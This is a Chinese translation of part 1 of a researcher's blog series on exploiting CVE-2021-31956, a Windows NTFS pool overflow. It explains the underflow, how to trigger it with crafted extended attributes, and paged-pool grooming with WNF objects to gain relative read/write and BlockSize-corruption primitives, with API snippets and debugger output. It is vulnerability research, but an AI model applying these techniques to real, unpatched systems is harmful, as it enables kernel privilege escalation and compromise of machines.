【翻译】CVE-2021-31956 Exploiting the Windows Kernel (NTFS with WNF) – Part 1
引言
最近我决定研究 CVE-2021-31956,这是一个由于内核内存损坏导致的 Windows 本地权限提升漏洞,已在 2021 年 6 月的补丁星期二中被修复。
微软在其安全公告中描述了该漏洞,指出多个 Windows 版本受到影响,并且该漏洞已被用于实际攻击中。该漏洞利用程序由卡巴斯基的 https://twitter.com/oct0xor 在野外发现。
卡巴斯基发布了一份详细的漏洞摘要,简要描述了该漏洞在野外的利用方式。
由于我无法获得该漏洞利用程序(与卡巴斯基不同?),我尝试在 Windows 10 20H2 上利用此漏洞,以评估其利用难度,并了解攻击者在为 Windows 10 20H2 及更高版本编写现代内核池利用程序时面临的挑战。
让我印象深刻的是,野外攻击者使用了 Windows 通知框架(WNF)来实现新颖的利用原语。这促使我进一步研究如何利用 WNF 来辅助漏洞利用。以下展示的发现显然是基于攻击者可能使用 WNF 方式的推测。我期待看到卡巴斯基的详细报告,以验证我对该功能利用方式的假设是否正确!
本博客是该系列的第一部分,将描述该漏洞、从漏洞利用开发角度的初始限制,以及如何滥用 WNF 来获取多个利用原语。博客还将介绍在编写现代池利用程序时遇到的漏洞利用缓解挑战,这些挑战使得在最新版本的 Windows 上编写利用程序更加困难。
未来的博客文章将描述如何改进利用程序以提高可靠性、稳定性以及后续清理工作。
漏洞摘要
由于卡巴斯基已经提供了一份很好的摘要,我们可以轻松定位 ntfs.sys 驱动程序中 NtfsQueryEaUserEaList 函数的漏洞代码:
在这种情况下,底层结构是 _FILE_FULL_EA_INFORMATION。
基本上,上述代码会遍历文件的每个 NTFS 扩展属性(Ea),并根据 ea_block->EaValueLength + ea_block->EaNameLength + 9 的大小将数据从 Ea 块复制到输出缓冲区。
有一个检查确保 ea_block_size 小于或等于 out_buf_length - padding。
然后,out_buf_length 会减去 ea_block_size 及其 padding 的大小。
padding 的计算公式为:((ea_block_size + 3) 0xFFFFFFFC) - ea_block_size;
这是因为每个 Ea 块都应该填充为 32 位对齐。
让我们通过一些示例数字来说明这一点:假设文件中有两个扩展属性。
在循环的第一次迭代中,我们可能会有以下值:
EaNameLength = 5EaValueLength = 4ea_block_size = 9 + 5 + 4 = 18padding = 0
因此,假设 18 < out_buf_length - 0,数据将被复制到缓冲区中。在本示例中,我们将使用 30 作为 out_buf_length 的值。
out_buf_length = 30 - 18 + 0out_buf_length = 12// we would have 12 bytes left of the output buffer.padding = ((18+3) 0xFFFFFFFC) - 18padding = 2
文件中可能包含第二个具有相同值的扩展属性(Extended Attribute):
EaNameLength = 5EaValueLength = 4ea_block_size = 9 + 5 + 4 = 18
此时 padding 为 2,因此计算如下:
18 <= 12 - 2// is False.
因此,由于缓冲区空间不足,第二次内存复制将正确地不会发生。
然而,考虑以下场景:假设我们能够将 out_buf_length 设置为 18。
第一个扩展属性(Extended Attribute):
EaNameLength = 5EaValueLength = 4
第二个扩展属性(Second Extended Attribute):
EaNameLength = 5EaValueLength = 47
循环的第一次迭代:
EaNameLength = 5EaValueLength = 4ea_block_size = 9 + 5 + 4// 18padding = 0
最终检查结果为:
18 <= 18 - 0// is True and a copy of 18 occurs.
out_buf_length = 18 - 18 + 0out_buf_length = 0// We would have 0 bytes left of the output buffer.padding = ((18+3) 0xFFFFFFFC) - 18padding = 2
我们的第二个扩展属性具有以下值:
EaNameLength = 5EaValueLength = 47ea_block_size = 5 + 47 + 9ea_block_size = 137
在最终检查中将会是:
ea_block_size <= out_buf_length - padding137 <= 0 - 2
此时我们已经触发了下溢检查,137 字节的数据将被复制到缓冲区末尾之外,从而破坏相邻的内存。
查看 NtfsCommonQueryEa 函数的调用者,我们可以看到输出缓冲区是根据请求的大小在分页池(paged pool)中分配的:
通过查看 NtfsCommonQueryEa 的调用者,我们可以看到 NtQueryEaFile 系统调用路径会触发此代码路径到达漏洞代码。
该 syscall 函数的 Zw 版本文档在这里。
我们可以看到输出缓冲区 Buffer 是从用户空间传入的,同时传入的还有该缓冲区的 Length。这意味着我们最终会根据缓冲区大小在内核空间中进行可控大小的分配。然而,要触发此漏洞,我们需要如上所述触发下溢。
为了触发下溢,我们需要将输出缓冲区大小设置为第一个 Ea 块的长度。
如果我们对分配进行填充,那么在查询第二个 Ea 块时,第二个 Ea 块将被写入缓冲区边界之外。
从攻击者的角度来看,这个漏洞的有趣之处在于:
-
攻击者可以控制溢出中使用的数据以及溢出的大小。扩展属性值对其包含的值没有限制。 -
溢出是线性的,会破坏任何相邻的池块(pool chunks)。 -
攻击者可以控制分配的池块大小。
然而,问题是在现代内核池缓解措施存在的情况下,这是否可以被可靠地利用,以及这是否是一个"良好"的内存破坏:
什么构成了良好的内存破坏。
触发破坏
那么,我们如何构建一个包含 NTFS 扩展属性的文件,以便在调用 NtQueryEaFile 时触发漏洞呢?
NtSetEaFile 函数的 Zw 版本文档在这里。
这里的 Buffer 参数是"指向调用者提供的、包含要设置的扩展属性值的 FILE_FULL_EA_INFORMATION 结构输入缓冲区的指针"。
因此,使用上面的值,第一个扩展属性占据缓冲区中 0-18 的空间。
然后有 2 字节的填充,第二个扩展属性从偏移量 20 开始。
typedefstruct _FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; UCHAR Flags; UCHAR EaNameLength; USHORT EaValueLength; CHAR EaName[1];} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
这里的关键在于,第一个 EA 块的 NextEntryOffset 被设置为包含填充位置(20)的溢出 EA 的偏移量。然后,对于溢出的 EA 块,将 NextEntryOffset 设置为 0 以结束扩展属性链的设置。
这意味着我们需要构造两个扩展属性,其中第一个扩展属性块的大小是我们想要分配的可利用缓冲区的大小(减去池头)。第二个扩展属性块则设置为溢出数据。
如果我们将第一个扩展属性块的大小设置为与 NtQueryEaFile 传入的 Length 参数完全一致,那么在存在填充的情况下,检查将会下溢,第二个扩展属性块将允许复制攻击者控制的大小。
总结来说,一旦使用 NtSetEaFile 将扩展属性写入文件后,就需要通过将输出缓冲区大小设置为与第一个扩展属性完全相同的大小来触发漏洞代码路径,这可以通过 NtQueryEaFile 实现。
理解 Windows 10 内核池布局
接下来我们需要理解内核池内存的工作原理。虽然有很多关于旧版本 Windows 内核池利用的资料,但对于较新的 Windows 10 版本(19H1 及以上)的资料却不多。随着将用户态 Segment Heap 概念引入 Windows 内核池,发生了重大变化。我强烈推荐阅读 Synacktiv 的 Corentin Bayet 和 Paul Fariello 撰写的优秀论文 Scoop the Windows 10 Pool!,其中提出了初步的技术。如果没有这篇论文,这个问题的利用将会困难得多。
首先,重要的是要确定易受攻击的池块在内存中的分配位置以及周围内存的情况。我们通过以下四个"后端"来确定池块所在的堆结构:
-
低碎片堆(Low Fragmentation Heap, LFH) -
可变大小堆(Variable Size Heap, VS) -
段分配(Segment Allocation) -
大分配(Large Alloc)
我最初使用 NtQueryEaFile 参数 Length 值为 0x12,最终在 LFH 上分配了一个大小为 0x30 的易受攻击的池块,如下所示:
Pool page ffff9a069986f3b0 region is Paged pool ffff9a069986f010 size: 30 previous size: 0 (Allocated) Ntf0 ffff9a069986f040 size: 30 previous size: 0 (Free) .... ffff9a069986f070 size: 30 previous size: 0 (Free) .... ffff9a069986f0a0 size: 30 previous size: 0 (Free) CMNb ffff9a069986f0d0 size: 30 previous size: 0 (Free) CMNb ffff9a069986f100 size: 30 previous size: 0 (Allocated) Luaf ffff9a069986f130 size: 30 previous size: 0 (Free) SeSd ffff9a069986f160 size: 30 previous size: 0 (Free) SeSd ffff9a069986f190 size: 30 previous size: 0 (Allocated) Ntf0 ffff9a069986f1c0 size: 30 previous size: 0 (Free) SeSd ffff9a069986f1f0 size: 30 previous size: 0 (Free) CMNb ffff9a069986f220 size: 30 previous size: 0 (Free) CMNb ffff9a069986f250 size: 30 previous size: 0 (Allocated) Ntf0 ffff9a069986f280 size: 30 previous size: 0 (Free) SeGa ffff9a069986f2b0 size: 30 previous size: 0 (Free) Ntf0 ffff9a069986f2e0 size: 30 previous size: 0 (Free) CMNb ffff9a069986f310 size: 30 previous size: 0 (Allocated) Ntf0 ffff9a069986f340 size: 30 previous size: 0 (Free) SeSd ffff9a069986f370 size: 30 previous size: 0 (Free) APpt*ffff9a069986f3a0 size: 30 previous size: 0 (Allocated) *NtFE Pooltag NtFE : Ea.c, Binary : ntfs.sys ffff9a069986f3d0 size: 30 previous size: 0 (Allocated) Ntf0 ffff9a069986f400 size: 30 previous size: 0 (Free) SeSd ffff9a069986f430 size: 30 previous size: 0 (Free) CMNb ffff9a069986f460 size: 30 previous size: 0 (Free) SeUs ffff9a069986f490 size: 30 previous size: 0 (Free) SeGa
这是由于分配大小小于 0x200 字节所致。
我们可以通过设置条件断点来逐步观察相邻内存块的损坏过程,断点位置如下:
bp Ntfs!NtfsQueryEaUserEaList "j @r12 != 0x180 @r12 != 0x10c @r12 != 0x40 '';'gc'",然后在 memcpy 位置设置断点。
这个示例忽略了一些在 20H2 版本中常见的分配大小,因为该代码路径在系统正常操作中经常被使用。
需要提到的是,我最初忽略了攻击者对初始池块大小有良好控制这一事实,因此将自己限制在预期的 0x30 字节块大小上。这个限制实际上并不存在,但它表明即使攻击者面临更多限制,通常也能找到解决方法,因此在开始漏洞利用之前,应该始终尝试充分理解漏洞的限制条件 🙂
通过分析易受攻击的 NtFE 分配,我们可以看到以下内存布局:
!pool @r9*ffff8001668c4d80 size: 30 previous size: 0 (Allocated) *NtFE Pooltag NtFE : Ea.c, Binary : ntfs.sys ffff8001668c4db0 size: 30 previous size: 0 (Free) C...1: kd> dt !_POOL_HEADER ffff8001668c4d80nt!_POOL_HEADER +0x000 PreviousSize : 0y00000000 (0) +0x000 PoolIndex : 0y00000000 (0) +0x002 BlockSize : 0y00000011 (0x3) +0x002 PoolType : 0y00000011 (0x3) +0x000 Ulong1 : 0x3030000 +0x004 PoolTag : 0x4546744e +0x008 ProcessBilled : 0x0057005c`007d0062 _EPROCESS +0x008 AllocatorBackTraceIndex : 0x62 +0x00a PoolTagHash : 0x7d
紧接着是数据本身的 0x12 字节。
这意味着块大小的计算将是:0x12 + 0x10 = 0x22,然后向上舍入到 0x30 的段块大小。
然而,我们也可以调整分配的大小和将要溢出的数据量。
作为替代示例,使用以下值可以从 0x70 字节的块溢出到相邻的池块中(调试输出取自测试代码):
NtCreateFile is located at 0x773c2f20 in ntdll.dllRtlDosPathNameToNtPathNameN is located at 0x773a1bc0 in ntdll.dllNtSetEaFile is located at 0x773c42e0 in ntdll.dllNtQueryEaFile is located at 0x773c3e20 in ntdll.dllWriteEaOverflow EaBuffer1->NextEntryOffset is 96WriteEaOverflow EaLength1 is 94WriteEaOverflow EaLength2 is 59WriteEaOverflow Padding is 2WriteEaOverflow ea_total is 155NtSetEaFileN sucessoutput_buf_size is 94GetEa2 pad is 1GetEa2 Ea1->NextEntryOffset is 12GetEa2 EaListLength is 31GetEa2 out_buf_length is 94
最终这会被分配在一个 0x70 字节的块中:
ffffa48bc76c2600 size: 70 previous size: 0 (Allocated) NtFE
由此可见,我们确实能够影响易受攻击的内存块的大小。
此时,我们需要确定是否能够分配相邻的有用大小类别的内存块,以便通过溢出获得漏洞利用原语,同时还需要研究如何操作分页池(paged pool)来控制这些分配的内存布局(即内存风水,feng shui)。
与 Non-Paged pool 相比,关于 Windows 分页池操作的公开资料要少得多,而且据我们所知,目前还没有任何公开资料讨论如何使用 WNF 结构来获取漏洞利用原语。
WNF 简介
Windows 通知机制(Windows Notification Facility,WNF)是 Windows 内部的一个通知系统,它实现了发布者/订阅者模型来传递通知。
Alex Ionescu 和 Gabrielle Viala 在此前进行了出色的研究,详细记录了这个功能的工作原理和设计。
我不想在这里重复背景知识,因此建议先阅读以下文档以快速了解:
-
The Windows Notification Facility -
Playing with the Windows Notification Facility
对上述研究有扎实的理解将有助于更好地理解 Windows 使用的 WNF 相关结构。
可控的分页池分配
内核池利用的首要任务之一就是能够控制内核池的状态,以获得攻击者期望的内存布局。
虽然已有大量关于 Non-Paged pool 和会话池(session pool)的研究,但从分页池角度进行的研究相对较少。由于这次溢出发生在分页池中,因此我们需要在该池中寻找可用的漏洞利用原语。
通过对 WNF 进行逆向分析,我们发现该功能使用的大部分内存分配都来自分页池。
我首先查看了与该功能相关的主要结构,以及哪些部分可以从用户态进行控制。
其中最先引起我注意的是,用于通知的实际数据存储在这个结构之后:
nt!_WNF_STATE_DATA +0x000 Header : _WNF_NODE_HEADER +0x004 AllocatedSize : Uint4B +0x008 DataSize : Uint4B +0x00c ChangeStamp : Uint4B
该指针由 WNF_NAME_INSTANCE 结构体的 StateData 指针指向:
nt!_WNF_NAME_INSTANCE +0x000 Header : _WNF_NODE_HEADER +0x008 RunRef : _EX_RUNDOWN_REF +0x010 TreeLinks : _RTL_BALANCED_NODE +0x028 StateName : _WNF_STATE_NAME_STRUCT +0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE +0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION +0x050 StateDataLock : _WNF_LOCK +0x058 StateData : Ptr64 _WNF_STATE_DATA +0x060 CurrentChangeStamp : Uint4B +0x068 PermanentDataStore : Ptr64 Void +0x070 StateSubscriptionListLock : _WNF_LOCK +0x078 StateSubscriptionListHead : _LIST_ENTRY +0x088 TemporaryNameListEntry : _LIST_ENTRY +0x098 CreatorProcess : Ptr64 _EPROCESS +0x0a0 DataSubscribersCount : Int4B +0x0a4 CurrentDeliveryCount : Int4B
通过分析 NtUpdateWnfStateData 函数,我们可以看到该函数可用于在分页池(paged pool)中进行可控大小的内存分配,并可用于存储任意数据。
以下分配发生在 ExpWnfWriteStateData 函数中,该函数由 NtUpdateWnfStateData 调用:
v19 = ExAllocatePoolWithQuotaTag((POOL_TYPE)9, (unsignedint)(v6 + 16), 0x20666E57u);
查看该函数的原型:
我们可以看到参数 Length 就是我们的 v6 值 16(即前置的 0x10 字节头)。
因此,我们有如下(0x10 字节的 _POOL_HEADER
)头结构:
1: kd> dt _POOL_HEADERnt!_POOL_HEADER +0x000 PreviousSize : Pos 0, 8 Bits +0x000 PoolIndex : Pos 8, 8 Bits +0x002 BlockSize : Pos 0, 8 Bits +0x002 PoolType : Pos 8, 8 Bits +0x000 Ulong1 : Uint4B +0x004 PoolTag : Uint4B +0x008 ProcessBilled : Ptr64 _EPROCESS +0x008 AllocatorBackTraceIndex : Uint2B +0x00a PoolTagHash : Uint2B
紧随其后的是大小为 0x10 的 _WNF_STATE_DATA
结构体:
nt!_WNF_STATE_DATA +0x000 Header : _WNF_NODE_HEADER +0x004 AllocatedSize : Uint4B +0x008 DataSize : Uint4B +0x00c ChangeStamp : Uint4B
在结构体之后是任意大小的数据。
为了跟踪我们使用该函数进行的内存分配,我们可以使用:
NtCreateWnfStateName( state, WnfTemporaryStateName, WnfDataScopeMachine, FALSE, 0, 0x1000, psd);NtUpdateWnfStateData( state, buf, alloc_size, 0, 0, 0, 0);
我们可以构建一个分配方法,该方法创建一个新的状态名称并执行我们的内存分配:
NtCreateWnfStateName( state, WnfTemporaryStateName, WnfDataScopeMachine, FALSE, 0, 0x1000, psd);NtUpdateWnfStateData( state, buf, alloc_size, 0, 0, 0, 0);
通过这种方法,我们可以在分页池(paged pool)中喷洒(spray)受控大小的内存,并用受控对象填充它:
1: kd> !pool ffffbe0f623d7190Pool page ffffbe0f623d7190 region is Paged pool ffffbe0f623d7020 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7050 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7080 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d70b0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d70e0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7110 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7140 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080*ffffbe0f623d7170 size: 30 previous size: 0 (Allocated) *Wnf Process: ffff87056ccc0080 Pooltag Wnf : Windows Notification Facility, Binary : nt!wnf ffffbe0f623d71a0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d71d0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7200 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7230 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7260 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7290 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d72c0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d72f0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7320 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7350 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7380 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d73b0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d73e0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7410 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7440 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7470 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d74a0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d74d0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7500 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7530 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7560 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7590 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d75c0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d75f0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7620 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7650 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7680 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d76b0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d76e0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7710 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7740 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7770 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d77a0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d77d0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7800 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7830 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7860 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7890 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d78c0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d78f0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7920 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7950 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7980 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d79b0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d79e0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7a10 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7a40 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7a70 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7aa0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7ad0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7b00 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7b30 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7b60 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7b90 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7bc0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7bf0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7c20 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7c50 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7c80 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7cb0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7ce0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7d10 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7d40 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7d70 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7da0 size: 30 previous size: 0 (Allocated) Ntf0 ffffbe0f623d7dd0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7e00 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7e30 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7e60 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7e90 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7ec0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7ef0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7f20 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7f50 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7f80 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080 ffffbe0f623d7fb0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
这对于用可控大小的数据填充内存池非常有用,我们继续研究 WNF(Windows Notification Facility)功能。
可控释放(Controlled Free)
从漏洞利用的角度来看,下一个有用的功能是能够在分页池(paged pool)中按需释放 WNF 内存块。
有一个 API 调用可以实现这一点,称为 NtDeleteWnfStateData,它会调用 ExpWnfDeleteStateData,最终释放我们的内存分配。
在研究这个领域时,我能够立即重用已释放的内存块进行新的分配。需要进一步调查 LFH(Low Fragmentation Heap)是否使用了延迟释放列表,因为根据我的实证测试,在大量喷洒 WNF 内存块后,我似乎没有遇到这种情况。
相对内存读取(Relative Memory Read)
现在我们既能够进行可控分配,又能够进行可控释放,但是数据本身呢?我们能对它做些什么有用的事情吗?
回顾一下结构体,你可能已经注意到 AllocatedSize 和 DataSize 包含在其中:
nt!_WNF_STATE_DATA +0x000 Header : _WNF_NODE_HEADER +0x004 AllocatedSize : Uint4B +0x008 DataSize : Uint4B +0x00c ChangeStamp : Uint4B
DataSize 用于表示内存中结构体后实际数据的大小,并在 NtQueryWnfStateData 函数中用于边界检查。实际的内存复制操作发生在 ExpWnfReadStateData 函数中:
因此很明显,如果我们能够篡改 DataSize,这将导致相对内核内存泄露。
之所以说是"相对"泄露,是因为 _WNF_STATE_DATA
结构体是由与其关联的 _WNF_NAME_INSTANCE
结构体中的 StateData 指针所指向的:
nt!_WNF_NAME_INSTANCE +0x000 Header : _WNF_NODE_HEADER +0x008 RunRef : _EX_RUNDOWN_REF +0x010 TreeLinks : _RTL_BALANCED_NODE +0x028 StateName : _WNF_STATE_NAME_STRUCT +0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE +0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION +0x050 StateDataLock : _WNF_LOCK +0x058 StateData : Ptr64 _WNF_STATE_DATA +0x060 CurrentChangeStamp : Uint4B +0x068 PermanentDataStore : Ptr64 Void +0x070 StateSubscriptionListLock : _WNF_LOCK +0x078 StateSubscriptionListHead : _LIST_ENTRY +0x088 TemporaryNameListEntry : _LIST_ENTRY +0x098 CreatorProcess : Ptr64 _EPROCESS +0x0a0 DataSubscribersCount : Int4B +0x0a4 CurrentDeliveryCount : Int4B
通过这种相对读取技术,我们现在可以泄露内存池中相邻的其他对象。以下是我代码中的一些示例输出:
found corrupted element changeTimestamp 54545454 at index 4972len is 0xff41414141424242424343434344444444 | AAAABBBBCCCCDDDD0000030B576E 6620 E0 560B C7 F9 97 D9 42 | ....Wnf .V.....B04091000100000001000000001000000 | ................41414141414141414141414141414141 | AAAAAAAAAAAAAAAA0000030B576E 6620 D0 560B C7 F9 97 D9 42 | ....Wnf .V.....B04091000100000001000000001000000 | ................41414141414141414141414141414141 | AAAAAAAAAAAAAAAA0000030B576E 662080560B C7 F9 97 D9 42 | ....Wnf .V.....B04091000100000001000000001000000 | ................41414141414141414141414141414141 | AAAAAAAAAAAAAAAA000003034E 74663070766B D8 F9 97 D9 42 | ....Ntf0pvk....B60 D6 55 AA 85 B4 FF FF 0100000000000000 | `.U.............7D B0 2901000000004141414141414141 | }.).....AAAAAAAA0000030B576E 662020766B D8 F9 97 D9 42 | ....Wnf vk....B04091000100000001000000001000000 | ................414141414141414141414141414141 | AAAAAAAAAAAAAAA
此时有许多有趣的信息可以被泄露,特别是考虑到 NTFS 的漏洞块和 WNF 块可以与其他有趣的对象相邻。使用这种技术,我们还可以泄露诸如 ProcessBilled 字段等信息。
我们还可以使用 ChangeStamp 值来确定在向内存池喷洒 _WNF_STATE_DATA
对象时,哪个对象被破坏了。
相对内存写入
那么关于边界外的数据写入呢?
查看 NtUpdateWnfStateData 函数,我们会发现一个有趣的调用:ExpWnfWriteStateData((__int64)nameInstance, InputBuffer, Length, MatchingChangeStamp, CheckStamp);
。下面展示了 ExpWnfWriteStateData 函数的部分内容:
我们可以看到,如果我们破坏 AllocatedSize(在上面的代码中由 v12[1] 表示),使其大于数据的实际大小,那么将使用现有的分配,并且 memcpy 操作将破坏更多的内存。
此时值得注意的是,相对写入并没有给我们带来比 NTFS 溢出更多的优势。然而,由于可以使用这种技术读取和写回数据,因此它开启了读取数据、修改某些部分并将其写回的能力。
使用管道属性通过 _POOL_HEADER BlockSize
破坏实现任意读取
如前所述,当我最初调查此漏洞时,我认为需要非常小的内存池块才能触发下溢,但这个错误的假设导致我尝试转向更有趣的内存池块。默认情况下,仅在 0x30 大小的块段中,我找不到任何可用于实现任意读取的有趣对象。
因此,我的方法是使用 NTFS 溢出来破坏 0x30 大小的 WNF _POOL_HEADER
的 BlockSize。
nt!_POOL_HEADER +0x000 PreviousSize : 0y00000000 (0) +0x000 PoolIndex : 0y00000000 (0) +0x002 BlockSize : 0y00000011 (0x3) +0x002 PoolType : 0y00000011 (0x3) +0x000 Ulong1 : 0x3030000 +0x004 PoolTag : 0x4546744e +0x008 ProcessBilled : 0x0057005c`007d0062 _EPROCESS +0x008 AllocatorBackTraceIndex : 0x62 +0x00a PoolTagHash : 0x7d
通过确保 PoolType 的 PoolQuota 位未被设置,我们可以在释放内存块时避免任何完整性检查。
通过将 BlockSize 设置为不同的大小,一旦使用我们控制的 free 操作释放该内存块,我们可以强制将该内存块的地址存储在错误大小的 lookaside 列表中。
然后我们可以重新分配另一个不同大小的对象,该大小与我们破坏现在位于该 lookaside 列表上的内存块时使用的大小相匹配,以取代该对象。
最后,我们可以再次触发破坏操作,从而破坏我们更感兴趣的对象。
最初我使用另一个大小为 0x220 的 WNF 内存块演示了这种可能性:
1: kd> !pool @raxPool page ffff9a82c1cd4a30 region is Paged pool ffff9a82c1cd4000 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4030 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4060 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4090 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd40c0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd40f0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4120 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4150 size: 30 previous size: 0 (Allocated) Wnf Process: 